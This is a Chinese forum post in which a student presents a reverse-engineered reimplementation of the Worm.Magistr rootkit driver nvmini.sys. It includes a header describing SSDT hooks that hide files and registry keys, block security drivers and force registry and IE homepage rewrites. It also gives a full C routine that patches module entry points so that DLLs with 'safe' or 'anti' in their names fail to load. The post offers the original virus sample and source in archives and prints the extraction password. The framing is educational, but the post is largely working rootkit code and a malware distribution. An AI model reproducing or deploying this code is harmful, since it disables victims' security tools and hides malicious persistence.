/*******************************************************************************************
* Module : nvmini.c
*
* Author : sudami [sudami@163.com]
* Time : 08/02/28
*
* Comment:
* 去年月份强悍的“马吉斯(Worm.Magistr)”病毒浓妆艳抹的登场,MS很强大。
* 过去这么长时间了,初学逆向,俺作为后来者就试着分析了下它的sys.于是就有了
* 这份简陋的code. 逆的很菜,老鸟飘过了=。=|

* 发现很多部分作者都是参考别人的code,然后A过来用的.所以这里同样在一些方面
* A了agony's some code. 嘿嘿
*
* ---- nvmini.sys的大致流程如下----
*
* 1.> 通过替换SDT 的中的函数地址挂钩ZwSaveKey、ZwQueryDirectoryFile、ZwClose、
* ZwEnumerateKey、ZwLoadDriver、ZwDeleteValueKey、ZwDeleteKey来保护病毒的
* 注册表键值不被发现和修改,隐藏病毒文件(boot.exe, linkinfo.dll, nvmini.sys),
* 隐藏服务以及禁止一些安全软件的驱动加载,eg: IS(俺为了试验,多加了几个)
*
* 2.> 和应用层通信-- 创建一个名为DL5CEvent 的设备,用户进程可通过ioctl = 25270860 
* 来获得最后一个创建进程的进程ID(通过调用PsSetCreateProcessNotifyRoutine 得到)
* 此前用户层中已经通过OpenEvent打开了该对象,一直静静的等待着对象变成“受信”状态;
* 而在驱动里,ProcessCreateMon中一旦检测到新进程的创建就设置该对象为“受信”状态,
* 于是用户层就高兴的发送ioctl = 25270860到驱动中,让buffer里面满载刚创建的进程ID号
* 顺利的回到用户层。这样就/实现了R3中一个线程对新创建的进程的监视,一旦符合规则,
* 就禁止创建,或kill 掉. (俺没写R3的部分,所以就此略掉了,不过R0的代码中还保留)

* 3.> 通过PsSetLoadImageNotifyRoutine 设置映像加载通知.禁止部分病毒DLL的加载,即
* 修改物理内存修改模块入口是这些模块返回失败,无法成功加载.

* 4.> 1个系统线程不断回写注册表的服务项.很暴力,不过hook一些更底层的操作注册表的函数
* ObXXXX之类的,就可以防止了; 注册一个DPC回调函数不断检查SSDT,保护自己的hook(由于俺
* 在调试时,一用KeSetTimerEx就会蓝,和IRQL有关,所以换用系统线程来实现,功能类似,
* ,保留DPC部分代码)
*
* 5.> 俺为了调试方便,加了一个修改IE首页,和piaoxue的驱动类型,就是暴力的回写注册表,很低级~~~
*
* btw: 病毒的作者好像是hackbase的XXXXXXXXXX,很强悍的一个驱动大牛,MS做病毒赚了不少银子.
* 不过作者的主要精力可能不在驱动上,nvmini.sys做的一般,没有用到太多的猥亵手法,比
* 如检测进程等完全不需要和R3通讯,直接在驱动中用一个线程,加个回掉函数,然后投递APC,
* 杀线程即可,HOOK SSDT等用烂的手段确实也太科普, 文件隐藏,注册表等都是很扫盲的手法,
* 可能作者没考虑太多吧.
*
* ---- 后记---- 
* 断断续续的逆nvmini.sys有一大会儿,可没有用F5,深感没有F5的艰难~
* 由于大3了,压力很大,专业的原因,也没多少业余时间来学内核,所以逆的很粗糙,不过功能都大致实现了.
* 还忘各位大牛海涵,见笑啦~ o(*.*)0 
*
* PS;
* 为了防止被坏人A过去干坏事,已经把部分code做了相应的更改和删除, 不过有心学习的完全可以补起来~
* 编译完的驱动无壳,也可直接F5看看效果~~~
*
*********************************************************************************************/


代码风格如下:
 
//
VOID
MyLoadImageRoutine(
IN PUNICODE_STRING ImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo
)
/*++
 
逆向: sudami 08/03/05
 
功能:
在这个模块通知回调函数中进行过滤。若是病毒DLL加载,则修改其DLL的前字节
使其直接失效.
 
--*/
{
BOOL bFind;
ULONG Length;
WCHAR Name[300];
PEPROCESS proc;
PVOID pImageBase;
SIZE_T dwSize;
PVOID pOEP;
KIRQL oldIrql;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nth;
PIMAGE_OPTIONAL_HEADER poh;
PHYSICAL_ADDRESS physicalAddress;
 
if (ImageName == NULL) {
return;
}
 
Length = ImageName->Length;
if ((Length == 0) || (ImageName->Buffer == NULL)) {
return;
}
 
bFind = FALSE;
RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
_wcsupr(Name);
 
// 
// 原IDB中申明了一个结构体(全局变量),其中每个DLL名字后面紧跟着的是一个到的数字。
// 0表明是在SYSTEM32 目录下
// 1表明是在WINDOWS目录下
// 2表明是在COMMON FILES目录下
// 3表明无论在哪都是病毒的DLL
// 偶这里简化了一下,效果一样
// -- sudami 08/03/08 
//
if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) || 
( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) || 
( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) || 
( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) || 
(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) || 
(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) || 
(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) || 
(wcsstr( Name, L"RPCS.DLL" ) != NULL) || 
(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) || 
(wcsstr( Name, L"LGSYM.DLL" ) != NULL) || 
(wcsstr( Name, L"RUND11.DLL" ) != NULL) || 
(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) || 
(wcsstr( Name, L"WSVBS.DLL" ) != NULL) || 
(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) || 
(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) || 
(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
(wcsstr( Name, L"safe" ) != NULL) ||
(wcsstr( Name, L"anti" ) != NULL) ) {
bFind = TRUE;
}
 
if ( bFind == FALSE ) {
return;
}
 
if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
return;
}
 
KeAttachProcess (proc); // 附着到此进程
 
pImageBase = ImageInfo->ImageBase;
dwSize = ImageInfo->ImageSize;
 
try { // 确保地址的正确性
ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
} except(EXCEPTION_EXECUTE_HANDLER) {
return;
}
 
// 得到程序入口地址
dos = (PIMAGE_DOS_HEADER) pImageBase;
nth = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
poh = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
 
if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
return;
}
 
pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
physicalAddress = MmGetPhysicalAddress( pOEP );
 
ProbeForWrite ( pOEP, 5, sizeof(CHAR));
 
// 修改其前字节的内容,使其失效
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
 
RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
 
KeLowerIrql(oldIrql);
WPON();
 
KeDetachProcess();
}
 
 
-----------------------------------------------------------------
驱动加载后的效果:
 
1. IE首页被改写为 http://hi.baidu.com/sudami,5ms回写一次.普通电脑用户无法修复
2. SSDT被反复hook,5ms回写一次,隐藏了nvmini.sys和autorun.inf等文件
3. 反复回写驱动服务项, 普通用户无法更改和删除
4. 监视病毒模块的加载,禁止之, 监视进程的创建,可在dbgview中观察, 禁止IS,RKU,GMER,SnipeSword等驱动的加载
 
本来还打算加个驱动文件占炕,和投递APC杀指定程序的线程的,想想这跟做病毒没什么区别的了,研究研究就可以了, 
 
 
因为病毒已经过去很长时间,用的技术都比较老,所以实际意义不大,就当扫盲了吧~
附件是code 和 nvmini.idb 、和原版nvmini.sys

上传的附件
[由于是病毒,杀毒软件会查杀,故加上了密码保护,解压密码:PEDIY]
逆向_nvmini.idb.rar
强悍病毒_nvmimi_样本.rar
nvmini_公开版_sudami.rar